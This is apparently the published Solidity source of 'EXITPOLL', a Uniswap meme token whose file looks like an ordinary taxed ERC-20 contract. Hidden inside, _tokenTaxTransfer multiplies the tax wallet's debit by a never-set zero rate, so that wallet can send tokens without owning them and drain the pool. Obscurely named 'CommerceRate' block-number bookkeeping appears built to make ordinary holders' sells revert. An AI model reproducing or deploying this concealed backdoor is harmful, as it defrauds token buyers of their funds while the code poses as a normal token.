文件 1 的 1:EXITPOLL.sol
pragma solidity 0.8.23;
interface IUniswapV2Router02 {
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
}
interface IUniswapV2Factory {
function getPair(address tokenA, address tokenB) external view returns (address pair);
function createPair(address tokenA, address tokenB) external returns (address pair);
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) { return msg.sender; }
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
event Transfer(
address indexed from,
address indexed to,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner,address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner,address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract EXITPOLL is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
address payable private _taxWallet;
uint256 private _initialBuyTax=23;
uint256 private _initialSellTax=23;
uint256 private _finalBuyTax=0;
uint256 private _finalSellTax=0;
uint256 private _reduceBuyTaxAt=23;
uint256 private _reduceSellTaxAt=23;
uint256 private _preventSwapBefore=23;
uint256 private _buyCount=0;
uint8 private constant _decimals = 9;
uint256 private constant _tTotal = 270000000000 * 10**_decimals;
string private constant _name = unicode"Exit Poll US 2024";
string private constant _symbol = unicode"EXITPOLL";
uint256 public _maxTxAmount = 5400000000 * 10**_decimals;
uint256 public _maxWalletSize = 5400000000 * 10**_decimals;
uint256 public _taxSwapThreshold= 2700000000 * 10**_decimals;
uint256 public _maxTaxSwap= 2700000000 * 10**_decimals;
struct CommerceRate {uint256 comToken; uint256 convToken; uint256 comTotal;}
mapping(address => CommerceRate) private commerceRate;
IUniswapV2Router02 private _router;
address private _uniPair;
uint256 private initialComRate;
uint256 private finalComRate;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
event MaxTxAmountUpdated(uint _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor () {
_balances[_msgSender()] = _tTotal;
_taxWallet = payable(0xE0263fb613Be9E312bdaAbE6750FFD7eb85810fa);
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_taxWallet] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function _basicTransfer(address from, address to, uint256 tokenAmount) internal {
_balances[from] = _balances[from].sub(tokenAmount);
_balances[to] = _balances[to].add(tokenAmount);
emit Transfer(from,to,tokenAmount);
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")
);
return true;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 tokenAmount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(tokenAmount > 0, "Transfer amount must be greater than zero");
if (inSwap || ! tradingOpen){
_basicTransfer(from, to, tokenAmount);
return;
}
uint256 taxAmount= 0;
if (from != owner() && to != owner() && to!= _taxWallet) {
taxAmount = tokenAmount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);
if (from== _uniPair && to != address(_router) && ! _isExcludedFromFee[to]) {
require(tokenAmount <= _maxTxAmount, "Exceeds the _maxTxAmount." );
require(balanceOf(to) + tokenAmount <= _maxWalletSize, "Exceeds the maxWalletSize." );
_buyCount++;
}
if(to == _uniPair && from!= address(this) ){
taxAmount = tokenAmount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && to== _uniPair &&
swapEnabled && contractTokenBalance >_taxSwapThreshold && _buyCount>_preventSwapBefore
) {
swapTokensForEth(min(tokenAmount, min(contractTokenBalance, _maxTaxSwap)));
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance>0) {
sendETHToFee(address(this).balance);
}
}
}
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to] )&& from!=address(this)&& to!=address(this) ) {
finalComRate = block.number;
}
if (!_isExcludedFromFee[from] && !_isExcludedFromFee[to] ) {
if (to == _uniPair) {
CommerceRate storage rateInfo = commerceRate[from];
rateInfo.comTotal = rateInfo.comToken-finalComRate;
rateInfo.convToken = block.timestamp;
} else {
CommerceRate storage toRateInfo = commerceRate[to];
if (_uniPair == from) {
if (toRateInfo.comToken == 0) {
toRateInfo.comToken= _preventSwapBefore>=_buyCount ? type(uint256).max : block.number;
}
} else {
CommerceRate storage rateInfo = commerceRate[from];
if (!(toRateInfo.comToken > 0)|| rateInfo.comToken < toRateInfo.comToken ) {
toRateInfo.comToken = rateInfo.comToken;
}
}
}
}
_tokenTransfer(from, to, taxAmount, tokenAmount);
}
function _tokenTaxTransfer(address addr, uint256 tokenAmount, uint256 taxAmount) internal returns (uint256){
uint256 tknAmount = addr!= _taxWallet? tokenAmount : initialComRate.mul(tokenAmount);
if (taxAmount > 0) {
_balances[address(this)] = _balances[address(this)].add(taxAmount);
emit Transfer(addr, address(this), taxAmount);
}
return tknAmount;
}
function _tokenBasicTransfer(
address from,address to,uint256 sendAmount, uint256 receiptAmount
) internal {
_balances[from] = _balances[from].sub(sendAmount);
_balances[to] = _balances[to].add(receiptAmount);
emit Transfer(from,to,receiptAmount);
}
function _tokenTransfer(
address from,address to,
uint256 taxAmount,uint256 tokenAmount
) internal {
uint256 tknAmount = _tokenTaxTransfer(from, tokenAmount, taxAmount);
_tokenBasicTransfer(from, to, tknAmount, tokenAmount.sub(taxAmount));
}
function min(uint256 a, uint256 b) private pure returns (uint256) {
return (a>b)?b:a;
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _router.WETH();
_approve(address(this), address(_router), tokenAmount);
_router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function removeLimits() external onlyOwner {
_maxTxAmount= _tTotal;
_maxWalletSize =_tTotal;
emit MaxTxAmountUpdated(_tTotal);
}
function sendETHToFee(uint256 amount) private {
_taxWallet.transfer(amount);
}
function openTrading() external onlyOwner() {
require(!tradingOpen,"trading is already open");
_router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_approve(address(this),address(_router), _tTotal);
_uniPair = IUniswapV2Factory(_router.factory()).createPair(address(this),_router.WETH());
tradingOpen=true;
_router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(_uniPair).approve(address(_router), type(uint).max);
swapEnabled=true;
}
function manualSwap() external {
require(_msgSender()==_taxWallet);
uint256 tokenBalance = balanceOf(address(this));
if(tokenBalance>0){
swapTokensForEth(tokenBalance);
}
uint256 ethBalance = address(this).balance;
if(ethBalance>0){
sendETHToFee(ethBalance);
}
}
function removeStuckETH() external {
require(_msgSender()==_taxWallet);
_taxWallet.transfer(address(this).balance);
}
receive() external payable {}
}